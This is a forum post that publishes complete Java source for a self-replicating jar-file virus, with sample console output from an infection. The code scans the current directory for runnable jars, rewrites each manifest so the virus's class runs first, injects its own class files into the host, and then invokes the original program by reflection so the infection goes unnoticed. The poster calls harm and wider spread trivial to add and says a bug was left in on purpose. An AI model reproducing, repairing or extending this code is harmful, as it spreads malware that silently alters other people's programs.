Jump to content
cosminkent

[Java] jar virus example

Recommended Posts

Posted

Short explanation:

This little virus infects runnable jar files by updating the host file with its own .class files and modifying the manifest, so the virus is run first. The virus uses reflection to start the host file afterwards. This way the host still does what it is supposed to and in addition infects other runnable jar files.

Besides that the virus does no harm (I mean, doing harm is easy, why bother with trivia). But you see that a file is infected if you start it on console. You will get the virus output first.

The virus also only infects files in the same directory, because this was the easiest for testing (it is also trivial to change that)

-----------------------------------------------------------------------------------------

And here is the code, as usual with an intentional bug in it to prevent noobs from running.

Do not point out the bug in public!

This code only works if run in a .jar

Jarchiver:


package jarvir;



import java.io.FileInputStream;

import java.io.FileNotFoundException;

import java.io.FileOutputStream;

import java.io.IOException;

import java.nio.file.Files;

import java.nio.file.Path;

import java.nio.file.Paths;

import java.nio.file.StandardCopyOption;

import java.util.Map.Entry;

import java.util.Set;

import java.util.jar.Attributes;

import java.util.jar.JarEntry;

import java.util.jar.JarInputStream;

import java.util.jar.JarOutputStream;

import java.util.jar.Manifest;



public class Jarchiver {



private final String jarFile;

private Manifest manifest;



public static void main(String[] args) {

System.out.println("Success: Jarchiver as dummy host file started");

}



public Jarchiver(String jarFile) throws IOException {

this.jarFile = jarFile;

try (JarInputStream is = new JarInputStream(

new FileInputStream(jarFile))) {

manifest = is.getManifest();

}

}



private void printAttributes(Manifest man) {

Attributes attr = man.getMainAttributes();

for (Entry<Object, Object> entry : attr.entrySet()) {

System.out.println(entry);

}

}



public String readEntryPoint() {

Attributes attr = manifest.getMainAttributes();

return attr.getValue(Attributes.Name.MAIN_CLASS);

}



public void changeEntryPoint(String entryPoint) {

Attributes attr = manifest.getMainAttributes();

attr.put(Attributes.Name.MAIN_CLASS, entryPoint);

printAttributes(manifest);

}



public void updateJar(Set<String> inFiles, String ownJar, String hostName)

throws FileNotFoundException, IOException {

String jarOut = jarFile + "out.jar";

try (JarInputStream jin = new JarInputStream(new FileInputStream(

jarFile));

JarInputStream ownIn = new JarInputStream(new FileInputStream(

ownJar));

JarOutputStream jout = new JarOutputStream(

new FileOutputStream(jarOut), manifest)) {



copyHost(jin, jout);

writeInFiles(inFiles, ownIn, jout);

writeHostName(jout, hostName);

}

replace(jarFile, jarOut);

}



private void writeHostName(JarOutputStream out, String hostName)

throws IOException {

out.putNextEntry(new JarEntry("jarvir/host"));

out.write(hostName.getBytes());

out.closeEntry();

}



private void writeInFiles(Set<String> inFiles, JarInputStream ownIn,

JarOutputStream jout) throws IOException {

JarEntry entry;

while ((entry = ownIn.getNextJarEntry()) != null) {

if (inFiles.contains(entry.getName())) {

writeJarEntry(jout, ownIn, entry);

System.out.println("write own entry " + entry);

}

}

}



private void copyHost(JarInputStream jin, JarOutputStream jout)

throws IOException {

JarEntry entry;

while ((entry = jin.getNextJarEntry()) != null) {

writeJarEntry(jout, jin, entry);

System.out.println("write entry " + entry);

}

}



private void replace(String toReplace, String replacement)

throws IOException {

Path source = Paths.get(replacement);

Path target = Paths.get(toReplace);

Files.move(source, target, StandardCopyOption.REPLACE_EXISTING);

}



private void writeJarEntry(JarOutputStream out, JarInputStream in,

JarEntry entry) throws IOException {

out.putNextEntry(entry);

byte[] buf = new byte[1024];

int bytesRead;

while ((bytesRead = in.read(buf)) != -1) {

out.write(buf, 0, bytesRead);

}

out.closeEntry();

}

}


JarVir:


package jarvir;



import java.io.BufferedReader;

import java.io.File;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.io.RandomAccessFile;

import java.io.UnsupportedEncodingException;

import java.lang.reflect.Method;

import java.net.URLDecoder;

import java.util.HashSet;

import java.util.Set;



public class JarVir {



private String newHostEntry;



public static void main(String[] args) {

System.out.println("JarVir is alive!");

new JarVir(args);

}



public JarVir(String[] args) {

for (String jarfile : searchJars()) {

System.out.println("infecting " + jarfile);

infect(jarfile);

}

invokeHostMain(args);

}



@SuppressWarnings("rawtypes")

private void invokeHostMain(String[] args) {

try {

String hostName = getHostName();

if (hostName != null) {

Class<?> host = Class.forName(hostName);

Class[] argTypes = new Class[] { String[].class };

Method main = host.getDeclaredMethod("main", argTypes);

System.out.format("invoking %s.main()%n", host.getName());

main.invoke(null, (Object) args);

}

} catch (Exception e) {

e.printStackTrace();

}

}



private String getHostName() throws IOException {

String name = null;

InputStream in = getClass().getResourceAsStream("host");

if (in != null) {

try (BufferedReader reader = new BufferedReader(

new InputStreamReader(in))) {

name = reader.readLine();

}

} else {

System.err.println("host not found");

}

return name;

}



private Set<String> searchJars() {

Set<String> jars = new HashSet<>();

File folder = new File(System.getProperty("user.dir"));

for (File file : folder.listFiles()) {

if (isJar(file)) {

jars.add(file.getAbsolutePath());

}

}

return jars;

}



private boolean isJar(File file) {

if (file.isDirectory()) {

return false;

}



final int MAGIC_NUMBER = 0x50AA0304;

try (RandomAccessFile raf = new RandomAccessFile(file, "r")) {

return raf.readInt() == MAGIC_NUMBER;

} catch (IOException e) {

e.printStackTrace();

}

return false;

}



private void infect(String jarFile) {

try {

Jarchiver jar = new Jarchiver(jarFile);

newHostEntry = jar.readEntryPoint();

if (newHostEntry.equals(JarVir.class.getName())) {

System.out.println("jar already infected");

} else {

jar.changeEntryPoint(JarVir.class.getName());

Set<String> inFiles = getOwnEntries();

jar.updateJar(inFiles, getRunningJarLocation(), newHostEntry);

}

} catch (IOException e) {

e.printStackTrace();

}

}



private Set<String> getOwnEntries() {

Set<String> inFiles = new HashSet<>();

inFiles.add("jarvir/Jarchiver.class");

inFiles.add("jarvir/JarVir.class");

return inFiles;

}



private String getRunningJarLocation() {

String path = JarVir.class.getProtectionDomain().getCodeSource()

.getLocation().getPath();

try {

return URLDecoder.decode(path, "UTF-8");

} catch (UnsupportedEncodingException e) {

e.printStackTrace();

}

return null;

}

}


And "host" is a txt file that also resides in the jarvir directory with the String "jarvir.Jarchiver" as dummy for the first run (when there is no host).

A sample output:


deque@decra:~/virtest$ java -jar jarvir.jar
JarVir is alive!
infecting /home/deque/virtest/jarvir.jar
jar already infected
infecting /home/deque/virtest/app.jar
Rsrc-Class-Path=./
Class-Path=.
Manifest-Version=1.0
Rsrc-Main-Class=testpackage.App1
Main-Class=jarvir.JarVir
write entry org/
write entry org/eclipse/
write entry org/eclipse/jdt/
write entry org/eclipse/jdt/internal/
write entry org/eclipse/jdt/internal/jarinjarloader/
write entry org/eclipse/jdt/internal/jarinjarloader/JIJConstants.class
write entry org/eclipse/jdt/internal/jarinjarloader/JarRsrcLoader$ManifestInfo.class
write entry org/eclipse/jdt/internal/jarinjarloader/JarRsrcLoader.class
write entry org/eclipse/jdt/internal/jarinjarloader/RsrcURLConnection.class
write entry org/eclipse/jdt/internal/jarinjarloader/RsrcURLStreamHandler.class
write entry org/eclipse/jdt/internal/jarinjarloader/RsrcURLStreamHandlerFactory.class
write entry testpackage/
write entry testpackage/App1.class
write own entry jarvir/JarVir.class
write own entry jarvir/Jarchiver.class
invoking jarvir.Jarchiver.main()
Success: Jarchiver as dummy host file started
deque@decra:~/virtest$ java -jar app.jar
JarVir is alive!
infecting /home/deque/virtest/jarvir.jar
jar already infected
infecting /home/deque/virtest/app.jar
jar already infected
invoking org.eclipse.jdt.internal.jarinjarloader.JarRsrcLoader.main()

Source: Ez

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...